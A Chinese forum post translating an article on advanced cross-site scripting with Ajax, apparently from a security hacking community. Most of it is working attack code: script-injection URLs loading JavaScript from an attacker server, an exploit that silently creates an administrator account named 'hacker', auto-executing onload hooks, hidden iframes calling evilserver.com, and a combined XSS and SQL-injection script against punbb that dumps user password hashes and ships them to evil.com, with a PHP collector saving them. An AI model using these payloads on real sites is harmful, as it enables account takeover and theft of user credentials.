发新话题
打印

[翻译]运用Ajax的高级XSS技术

[翻译]运用Ajax的高级XSS技术

译文作者:控制你的心
信息来源:邪恶八进制信息安全团队(www.eviloctal.com


        0.说明
        1.利用xss的javascript劫持
        2.远程调用劫持代码
        3.利用Ajax做更多的事:一个基于XMLHttpRequest的高级范例
        4.自动运行
        5.对Ajax站点的影响
        6.一般技术的改善潜力
        7.Magix_quotes_pgc带来的难题
        8.永久型xss
        9.xss与Sql Injection的配合
        9.1.xss漏洞
        9.2.Sql注入漏洞
        9.3.编写利用工具
        9.4.攻击!
        A.解决xss问题
        B.结束语
0.        说明:
    大多数人因为两个原因而认为xss漏洞不够强大。其中一个原因:可能你只能利用它来盗取cookie,而另一个原因则是:你(错误地)认为(利用)它需要目标点击特定的连接或者访问特定的网站。在这篇文章中我将要证明利用xss漏洞能做比盗取cookie多得多的事情,即使你仍然需要目标去点击特定的链接。一种被称为Ajax的新技术正在网络中蔓延。Ajax技术允许你利用javascript来发送HTTP请求。一个简单的没有ajax功能的网站是像这样的(工作模式):
客户端请求 - 服务器响应 - 返回内容 - 客户端
而ajax的(工作模式)类似于:
客户端请求 - javascript - 服务器响应 - 数据 - javascript处理
我将以展示怎样利用xss漏洞劫持javascript函数为开头,(进而)我们将看到网站过于信任javascript而造成的影响以及利用这种技术(达到的)各种可能性。
在我们开始之前,你必须做几件事:
        设置magic_quotes_gpc = off
        允许javascript在你的浏览器中执行
        从我的网站上下载这些例子(有这样打广告的??)
1.        利用xss劫持javascript
让我们清晰的了解它,这是一个有xss漏洞的php网页代码:
<html>
<head>
<title>Javascript Hijack with XSS</title>
<script type="text/javascript" src="script.js"></script>
</head>
<body>
<?php echo $_GET["xss"]; ?>
<input type="Submit" onClick="javascript:Hello()" value="Say Hello" />
</body>
</html>
这里还有一个javascript脚本文件,代码为:
function Hello()
{
alert("Hi there");
}
这非常简单,我们拥有一个包含一个按钮的网页,当点击这个按钮就会弹出一个对话框“Hi there”.
http://[host]/?xss=<script>function Hello() { alert("hijacked"); } </script>
Ok,现在我们在点击一下我们的按钮,发生了什么?我们没有得到“Hi there”,而得到了“hijacked”!这意味着我们能利用xss漏洞劫持javascript代码,当用户调用函数时回执行我们的代码而并非原来的。
好,我们已经知道了在url中重建javascript函数,但是如果你需要重建很多函数,通过url这样做会使你完蛋的。所以让我们重建一个新的javascript文件来包含我们需要的一切。
function Hello()
{
alert("Hijack from remote");
}
然后我们像这样提交url:
http://[host]/?xss=<script type="text/javascript" src="http://[evil server]/hijack.js"></script>
让后我们再次点击我们的按钮发生了什么?“Hijack from remote”! Ok,(到此为止)我们知道了怎样正确的劫持javascript函数。
2.        利用Ajax做更多的事:XMLHttpRequest的高级运用实例
为了演示这个技术我编写了一个适用于教学的实例,(请)到我的网站下载。我将会应用它的部分代码并且解释他们。它是一个简单的管理员用来添加新管理员或者在博客上发布消息的控制面板。在页面add_message.php?author=[xss]有一个xss漏洞,这是我们将用来攻击的地方!
我编写了一个轻量级的exploit来劫持javascript函数,代码为:
function createRequest()
{
var xmlHttp;
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}

return xmlHttp;
}

function validateForm()
{
var xmlHttp;

xmlHttp = createRequest();
url = "add_admin.php?login=hacker&password=hacker&email= hacker";
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
document.location = "add_message.php";
}
非常好,要利用这个漏洞我们需要管理员访问这个url:
http://[host]/add_message?author=http://[host]/?xss=
<script type="text/javascript" src="http://[evil server]/exploit.js"></script>
当他点击提交按钮时我们的恶意代码会添加一个账户密码都为“hacker”的用户到数据库里。我们能使目标运行我们的恶意代码!但任然需要用户点击按钮……
3.        自动执行
上面的例子总是需要目标点击一个按钮来完成我们的攻击。这里有一个解决(方案)给你:
window.onload = function initHijack()
{
[...]
}
我们的攻击将会在目标点击特定链接后自动完成。你也能在目标关闭页面时执行一些javascript代码:
window.unload = function initHijack()
{
[...]
}
4.        Ajax代码模板
这里有一些基本的样例代码能应付你编写javascript exploit:
GET 请求:
var url = "page.php?param1=value1&param2=value2";
http.open("GET", url, true);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(null);
POST 请求:
var url = "page.php";
var params = "param1=value1&param2=value2";
http.open("POST", url, true);

http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");

http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
提示:在POST请求里,你必须设置一些HTTP头信息。(另外,)使用open()发送GET请求。
function RemoteGetWithOpen()
{
open("http://www.evilserver.com/ajaxhack/evil.php?param1=value1&param2=value2");
}
利用iframe发送GET请求
function CreateAbritraryIframe()
{
// <iframe src="http://www.google.com/" style="visibility: hidden;" name="exploit">
var objBody = document.getElementsByTagName("body")[0];
var objIframe = document.createElement("iframe");
// we set the "src" attribute
var attribut_src = document.createAttribute("src");
attribut_src.nodeValue = "http://www.evilserver.com/[...]";
objIframe.setAttributeNode(attribut_src);
// we hide it
var attribut_visibility = document.createAttribute("style");
attribut_visibility.nodeValue = "visibility:hidden;";
objIframe.setAttributeNode(attribut_visibility);
// we set a name to our frame
var attribut_name = document.createAttribute("name");
attribut_name.nodeValue = "exploit";
objIframe.setAttributeNode(attribut_name);
objBody.appendChild(objIframe);
}
5.        对Ajax站点的影响。(由于资料是结构图复制到txt中,太混乱,翻译时被朕掐掉,罪过,罪过)
6.        我们能做的事儿:
一下是一个我们大多数时候利用php程序中xss漏洞能做的事的清单:
1.        更改用户资料
2.        删除用户
3.        添加或更改用户
4.        窃取(用户)输入
5.        窃取cookie
6.        让用户提交恶意请求
7.        (利用)特殊的访问(权限)下载文件
如果你非常幸运:
1.        让用户执行php代码
2.        让用户上传(恶意文件)
7.        Magic_quotes_gpc带来的麻烦
在文章开头我让大家把magic_quote_gpc设置成off的原因是:如果你提交这样的请求:
http://[host]/page.php?xss=<script src="evil.js"></script>
它会变成:
http://[host]/page.php?xss=<script src=http://[evil server]/evilscript.js></script>
他能被大多数浏览器正确地解释!
8.        永久型xss(开始我不明白老外这么称呼的原因,但是看了这部分后发现就是国内所说的存储型的xss漏洞,所有下文以存储型呼之)
存储型xss就是说xss漏洞能持续停留在网站上且代码能够在任何时候访问时执行。这依赖于你进行xss攻击的位置,这一点非常关键。举个最坏的例子:(比如)索引页(通常就是指首页),这意味着每个访问网站的人都将执行你的恶意javascript代码而称为牺牲品。
9.        xss与Sql注入技术的配合
9.1 xss漏洞
9.2 Sql 注入漏洞
(由于这两个部分很太基础,掐掉,阿弥陀佛)
9.3 exploit编程
function createHttpRequest()
{
var xmlHttp;
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}

return xmlHttp;
}

window.onload = function initAttack()
{
var xmlHttp;
var params = "find_user=Submit+search&form[email]=' UNION SELECT 0,payday_users.username,
payday_users.password,0,0,0,0,0 FROM payday_users INTO OUTFILE '/var/www/punbb_exploited.txt'#";
xmlHttp = createHttpRequest();
xmlHttp.open("POST", "/punbb/upload/admin_users.php", true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.setRequestHeader("Content-length", params.length);
xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(params);

var objBody = document.getElementsByTagName("body")[0];
var objIframe = document.createElement("iframe");
// we set the "src" attribute
var attribut_src = document.createAttribute("src");
attribut_src.nodeValue = "http://www.evil.com/exploit.php?page=http://www.good.com/punbb_exploited.txt";
objIframe.setAttributeNode(attribut_src);
// we hide it
var attribut_visibility = document.createAttribute("style");
attribut_visibility.nodeValue = "visibility:hidden;";
objIframe.setAttributeNode(attribut_visibility);
// we set a name to our frame
var attribut_name = document.createAttribute("name");
attribut_name.nodeValue = "exploit";
objIframe.setAttributeNode(attribut_name);
objBody.appendChild(objIframe);

return true;
}
到了这里你应该能理解javascript要做什么,但我还是要啰嗦一点:脚本发送一个http请求来攻击某个Sql注入漏洞,当获取数据后提交给我们服务器上的代码输出成文件。代码如下:
if(isset($_GET['page']))
{
$content = file_get_contents($_GET['page']);
$open = fopen("hash.txt", "a+");
fwrite($open, $content);
fclose($open);
}
?>
本帖最近评分记录

TOP

发新话题